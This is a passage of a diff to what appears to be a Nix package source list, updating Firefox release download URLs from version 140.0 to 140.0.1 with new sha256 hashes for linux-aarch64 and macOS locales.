       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "4d8acb0411b0b1bbbc09db99a7fde9506f8e61cd5dc147c93dd4a9a7a40d6b02";
+      sha256 = "39e99f96fd2de4a5097fbe9d8ae02fa7f42c7fc2379d593e0b787a443088350c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/rm/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/rm/firefox-140.0.1.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "f98801cafadb0d8ea5b88ae26052134f9b7b90da6653f2181b731f638afebcab";
+      sha256 = "dd6b6a3a29e16c408a227cd2609214395dc65808c14e7a3224d419d4cfe00b0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ro/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ro/firefox-140.0.1.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "058c99e4cf2c95739d6a09cb5e44111c8d49ba01a51bd2a3ce7557258d5cd3ce";
+      sha256 = "da6a05c552fe2a913d16239131c33c980a89ec16270e003c107cc34e04b4d377";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ru/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ru/firefox-140.0.1.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "e8f4084f31f6833d4254502f93aee87f76fd1592b5250e04e03790572ba66a14";
+      sha256 = "89624eeb629c561bcf1ee2f9c25dcc95d8806cb5539527cbe3c60e7e970d4e24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sat/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sat/firefox-140.0.1.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "17dcb716a149183a35bd32a0948ab3171be4a547cbc39d2e0d14ac2e07a26a19";
+      sha256 = "b23c995a72f8e88c64222a2623e5846b44560dd1f698ee2994618a89ccba73d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sc/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sc/firefox-140.0.1.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "f15a75dbd51f6c1341190904e996a9afee73eba615f48d92c021b8a2a6341425";
+      sha256 = "95c39cc43f5c0bcf63fe75b536acfa8d7f16657838218a77fee3cf36a122b5e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sco/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sco/firefox-140.0.1.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "6b74e2091d37d0b0b6355d136693d9f64bdf37d32392561ec946c16804c438de";
+      sha256 = "d434afa3d817aa438620d975bb4a61ead1630297cd24c871b224b860313bc3a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/si/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/si/firefox-140.0.1.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "c53b6b388d652721c6f529604d08e11256a27130e8a410afe516d6583f0375b2";
+      sha256 = "5d630b7d8fa02835d1b66154aabe6ceefc2fc9d5dddb7184b8889666a49dea30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sk/firefox-140.0.1.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "6e9eadfe9f5cf42e652d4be2a108bb419b6a313465bd51668ee7f808a02b0d4d";
+      sha256 = "f535e002711c9a2a611f6b1bb25b3d49fe3f1735a536359d84f3b29e1e54f75a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/skr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/skr/firefox-140.0.1.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "cf3c531d3963963878fd184351c8966ba03a910e00f34e5a67eea90f79a24be0";
+      sha256 = "6b1e7d1eb38c1c8c289d177f3c026329a43604f802664b4bb4211de14111308e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sl/firefox-140.0.1.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "1eff6cd0299936498389bc4d19d2492277098d2070b559e292161b430b2784f3";
+      sha256 = "619c870425c7f066e35bb0f462cae99634d60d7def3c93f14ad0cafb3da27914";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/son/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/son/firefox-140.0.1.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "352fd568f3daf11cd82e25949c8af29cf8e0ed301f6622866a85e1cbda1a985b";
+      sha256 = "b40b4224a38a30c80d55ce0e2b7dc01e817783f14b3bcedb12c9605a692ce96b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sq/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sq/firefox-140.0.1.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "a65872fec817052b5764f582808060c15659301072b3485c64240848e96c0973";
+      sha256 = "29b1deac09f49a4629a772d52bd8798144fc5b9fdb2dba2c57ac548c0d51ed06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sr/firefox-140.0.1.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "81c375f570842704feb3fb5a70778f62ffdc947b701a3e8d5cb6dd8629881b06";
+      sha256 = "8bb742044ed9820cd4855a4b3fe45bb4fa8d12619d9e66c3f1619c9888dd392c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/sv-SE/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sv-SE/firefox-140.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "d0e56fdb7a5c1c1ad3301b151198eb3242452f3b57fcd1598713d6a968ef2b02";
+      sha256 = "cfa92310bf604dfa7a00ee97427344d6506ea946da5c2ce77ac0c7bdd3e6b54f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/szl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/szl/firefox-140.0.1.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "097ab1dedc4a34518e384dbb3d855e850b8ba40b3a2b7c658b8d1f9b3d461ef2";
+      sha256 = "0ea4761e9979bb9c8f56458d300058c1a673064adceae6c30a7d6461c47e2565";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ta/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ta/firefox-140.0.1.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "a32d31fc9959e3ac53d7de110ecdcb67dc2de418b9f8efac516e8f24069df789";
+      sha256 = "0606865345b898a6711af7eaaeea086eed0ad327b7bc1b2df46499648c3dc8b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/te/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/te/firefox-140.0.1.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "c24a2b30f7f753bc47dd3abf197df34b2e9e0bdce54ddeee4e4d8b324d2dd08e";
+      sha256 = "8ca19359781e0e98883958c12ccdf04056d713a190ac929e24a55b688fb7fe99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tg/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/tg/firefox-140.0.1.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "d1353bc0a07ee1a46bc6ef33721b1fc3cc15c3e6573c271d5e767784019f024d";
+      sha256 = "c4391f504b4eac8d0d86a50f2b4a906eab2207c0d82b3e79a87d6f5134115174";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/th/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/th/firefox-140.0.1.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "7134f78cce1a40647194c0dbb73956d9f9be52774a72a480f93f6b727367c323";
+      sha256 = "df9beaca1a8075879876bea550dbf8c879157f73b870da016a7cce6c8f09f5aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/tl/firefox-140.0.1.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "25ed58bd672ab9dba6ed8e52bedfd5213d92595e75604bd0ec5e3840bd69abe4";
+      sha256 = "982240f984756b93320a5b0e3d5ff4bac71676208a5d05981574b3ca921bb7ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/tr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/tr/firefox-140.0.1.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "ecb3de9fed0c635e950cd8d08c0a4564d305e7b5749329c3f16b3348ec41dea2";
+      sha256 = "c1fbae917d436b695dc98d452bb52a7a0b05ec1af9aad631bcb016ca4cce1d2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/trs/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/trs/firefox-140.0.1.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "532db68ffebf59ad0244d669c0196bc1287d50d20637d92da1937b5ee8e72bd5";
+      sha256 = "95c80a16a0d11c345ec57b15b1df041657cbb079d0ec489022440f397f555256";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/uk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/uk/firefox-140.0.1.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "4f5e607103dd86ceeaea4c1cae1083ac87fb95aa0972556043b74bd476b02e33";
+      sha256 = "fcd64cc84c6c921e04ea68a07ea0dc7f4c8f8f5b013a64963e9d9b8c8cc18c50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ur/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ur/firefox-140.0.1.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "99a2b04b388d4593eac2f94b508a6fb12a2baabfda590e7f10ea06faa3ca3622";
+      sha256 = "0743e59066415ddd9d7c1059271f1c20cd5c097424c26aefc34b2102dae4f8d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/uz/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/uz/firefox-140.0.1.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "aec185fd4db0b853681eccdd83ff28a3449e2fcf864790b4a30b00c78e93400c";
+      sha256 = "fa6728c01d3f51b5a5a9bf7c270f68cfe066e5e080125f1e1647964c238213a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/vi/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/vi/firefox-140.0.1.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "22b0b31a6f1f36beae7277b43cd54512ce37637309d7b560b7adb9320b11e2b8";
+      sha256 = "04d3286ab2173ff47fea50d6f40c52426c8be67ecdd578317779e5196c78461a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/xh/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/xh/firefox-140.0.1.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "682baecc9e328ccffda49c268489dc1275c678a57c6c244f96531da04ae2aa07";
+      sha256 = "5961a8d5184c5364aab2babc468d38b7922784b4c44c3c9d63d1e8f918f8c6ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/zh-CN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/zh-CN/firefox-140.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "371000dcaccc8b0e6416853dd90006bec0be351892f1024c64f20a880ad7c9a9";
+      sha256 = "dcf81e3448d1ba28d85d86c568caf8ee36bf69b06c84bf18c087d014dc0099a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/zh-TW/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/zh-TW/firefox-140.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "ae9233bbad9576e3752013d3e870fe62b8b01420a32f4c44cbc6f1b9d71ae83a";
+      sha256 = "672478b1977c30d8da79958627ba4996c631f7a4e8e26b82ee35957a449cb67f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ach/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ach/Firefox%20140.0.1.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "252e14211dc82d4da1b5d0f02885b2d71ddef5b7d2161d1cd2d36b3626d47127";
+      sha256 = "5c1d1afe82a731fc192a6d9bb13046cd30739fed3f4560ea9796405b19f9400b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/af/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/af/Firefox%20140.0.1.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "6527a8e846ceaea20c2ad106fb0798f03df4f8dbb9b7ff43331b0ffeb6c9616c";
+      sha256 = "b8c659f7b19da372c1e38d6766f7f82f777dc55736a808b17cd3e19be5d68dbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/an/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/an/Firefox%20140.0.1.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "d32a9e0befd6efc08cd9d9bdd6d5fb9043477bc0d4e2cf59e8674b28adb0e013";
+      sha256 = "a14cef26c700f43c2622220a24b7424f00ee60a73fff54539f6b45c1c8120b6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ar/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ar/Firefox%20140.0.1.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "481e021c3eec7e63b10e9ca2b8a90580b02484f0ffdb60bed73886ae58246a41";
+      sha256 = "da7993d4e8df2c051b58952303f92ed7c3320abad121fe45adea1182feb8b0aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ast/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ast/Firefox%20140.0.1.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "b2aa1e68e9d543f780284455763e38c52a4f95a4e44ab09d7a5849c244e5170a";
+      sha256 = "0112f5b3ff5780d8cf584dca83f5762ca20a986e053a7b1a07a16e26f4364c13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/az/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/az/Firefox%20140.0.1.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "3d98ebcfbc8cca145457f23f75f78d9091b41031e3264bd7444925905902e6df";
+      sha256 = "d7d7bb02c49e4e6e87f33eb07654f1ec266dca6758331d0614fe137742cbb59b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/be/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/be/Firefox%20140.0.1.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "13a887e13133bf942db51b5288e95b78466eec20c013bd694ece2f4e984bff6f";
+      sha256 = "c2a2c9bc4dd90b50bb5762400669aec88f422e2636fff47478a008c061a52400";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bg/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/bg/Firefox%20140.0.1.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "91ee8c4ee554ccbf663c658d817017196ee0a473d241feeb819d7888a8537e74";
+      sha256 = "8fa624216f9e3bcb83ab3d8f4b3a2407476f69d0fc6557a7bb64ec48f98131c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bn/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/bn/Firefox%20140.0.1.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "1479f506ccab899bfcb78d2576655c5cbc3c4099000e7c43ddba79e7fabecf01";
+      sha256 = "a252c9306302af6979f8a886b0108085f47cd889bab89f7dc1f809d93ced7efc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/br/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/br/Firefox%20140.0.1.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "ce26c22755bd3926605505ce20b3177fab60841d5db33f10037ce76224d399c7";
+      sha256 = "f25e0f15e11da49b081714856ba05f1975c0c71d8327791c07763842ffef840f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/bs/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/bs/Firefox%20140.0.1.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "ed5a5633a15eee2171f5b7476f613c35840a32ca5be11f77d9d2bc48f2d75f98";
+      sha256 = "485748d59994d76fd8876a27cc55fc82db2deaef001266e5c99935bc9db4f8cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ca-valencia/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ca-valencia/Firefox%20140.0.1.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "9af340066d32661b058d5af792bb47459fafaf656eed8156cd2e98e015493969";
+      sha256 = "8bfea273739befc6f18799d1efb822332e97386e4d54057ce85ff88d20e3a828";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ca/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ca/Firefox%20140.0.1.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "522f922fad7766f53929f37df844a38e9fa3d22c057e5f7a7dd5823e009fd6c5";
+      sha256 = "82398cb997f4af31a6dfd97ed803c39c0602fd453b10bb1640e162c1c03dba95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cak/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/cak/Firefox%20140.0.1.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "f53867fac80e28139e394641e8b0d3d9d8e16fbafdaa78b2193b9b5defe61170";
+      sha256 = "1b329689dc57057be0f2ccf65651760f925da5c218af0c34d24ec7953a73bbc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cs/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/cs/Firefox%20140.0.1.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "472ed62990a4e5c8678f3ec8bfcab2f3284501f2ca836beeae529d33f05db578";
+      sha256 = "c0c605b854e429e383e2eb2cbc9cf0de501cd5af1f5014edf155b3cc65bb1e60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/cy/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/cy/Firefox%20140.0.1.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "b1fffc2a97e89075ea9b80240cb7fd80536328966fc312988ec6de653184769c";
+      sha256 = "713b042d0f3b63b6ecdd299b7a6a8285fb4864779e891d9b4f0c26d90ead5384";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/da/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/da/Firefox%20140.0.1.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "65f13829b0928082537198e63bec919059deb34f2edb806e5b7c0ec706432385";
+      sha256 = "9da55e1412b8e208c86c0e3e6d1fe3f8941643781674877bc894add5f1aa364b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/de/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/de/Firefox%20140.0.1.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "d0e934d88bf088f6bc127c6700a4c540a1c9d139b663513a59fb3a618087956b";
+      sha256 = "4a88efa1028b454f5dfb8b938b16810dad7abb0a4fde0d02684f8942dd514234";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/dsb/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/dsb/Firefox%20140.0.1.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "6b48594c3db6149eb8cb3b10458379de6fbd11801d38c0886add0e91c0146b41";
+      sha256 = "d2f6dfcc37e77085e31faad67dfddc84647bbe0bee810e634d026b949b8e9471";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/el/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/el/Firefox%20140.0.1.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "e5909b4b8b3e798fb6e016262ad21606de0fbe255408b32d3cf1c498e8ea8342";
+      sha256 = "3a3a3e34240751bf8a7370334f2b2f0840482e9fa7609bfec749d86826fa70ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-CA/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/en-CA/Firefox%20140.0.1.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "c2b537cdb63ad1cbc9c4e2d4edd861da2e0c1c6735f6aa280882963be478f085";
+      sha256 = "9142924511f9fc36d0dd1b7074291c90d59fa408843ef36d5ce3e508ff4aa095";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-GB/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/en-GB/Firefox%20140.0.1.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "d8f845f442e00f46ea448a57433a3276863dac6a5407b1c7d26211888f23f637";
+      sha256 = "218f5158c57475e82b08a014410fb9d88c5ba88b3bfc0752b57e64ab57d26daf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/en-US/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/en-US/Firefox%20140.0.1.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "6ed2ee0aa3f64a9eac93e1195c8fca54ba6b53c07eeea6fe4c6144491ae6b3d9";
+      sha256 = "1049b957e497df1a9ab5fdfad971b02f00f3573029a23cbb930bc4fa60d2c7b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/eo/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/eo/Firefox%20140.0.1.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "ad6ca2fdd2a8267da135dbdb1d53e4f2e33bc118151177cad171bed51062bee4";
+      sha256 = "b1f169919da19053ce8c47ff4c0478d74a94f73009744a12ccbaf89a6c3e57c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-AR/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-AR/Firefox%20140.0.1.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "5bb2ce2e1c741bdd53d32d8d0e666be002ff72078f62c781ea9ffd867cbf55cc";
+      sha256 = "45cc953a20d2fb1c5b735c5f58a90f4f1006a4527597add8f8dcdb5ac2516fd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-CL/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-CL/Firefox%20140.0.1.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "3f8448679f63ac70cdc8cf74329eb32209470f582ba972dbf8eafded58a1b990";
+      sha256 = "e64f1bca9a4617d9ac15e89493e9f78620d8522c1e0465d6d92d8fe055f26eb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-ES/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-ES/Firefox%20140.0.1.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "2d92be4ea56616fcb9bc3b83609da630891f949e4398e39b540efb6d5c429afb";
+      sha256 = "26300d6640cbc9b05ced5eb61fcf141c1e75be77d8b930a9590db2e628c50ab1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/es-MX/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-MX/Firefox%20140.0.1.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "afe92b90c9d5d7ca95e788f7992a72e78f5096d2762d0a18f3df44a140409e9f";
+      sha256 = "c24417006a0608d71e9795ee84347a895927efda95d52fde53b1cb44d82d845c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/et/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/et/Firefox%20140.0.1.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "90300ad0c7ac283bf23daae74b55464ff645038d094b80072a194086e0273b38";
+      sha256 = "8665094d5dc051f5ba40f1cceca1800fe8ef6eb440ad4fa45a00f64f84313588";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/eu/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/eu/Firefox%20140.0.1.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "c79e912bf1aa390c9fa61380071ee626aeee46c11652d1f4a34e5ee7f8bced19";
+      sha256 = "e3b77f8e3fcf04393fee23c8eccee31885eb97d6dcd573babde8b07ac6fc711f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/fa/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fa/Firefox%20140.0.1.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "3e125c1b0556dae79500077697db9233f0ab0a557e3e8050b71e7595083a0b6e";
+      sha256 = "759ade9ba35a4f7153f6fa31d878592b6f91fed09ed259f3b43b12692e6a738e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ff/Firefox%20140.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ff/Firefox%20140.0.1.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "25a37789f3e344c38562cef738aeb3e2438768ab0c4dabdb61f992bab0807f95";
+      sha256 = "35b64f453e7242d2bc6b08cf4f4233d2b344dc341c5fa4af9f4c77b128856bce";
     }
     {
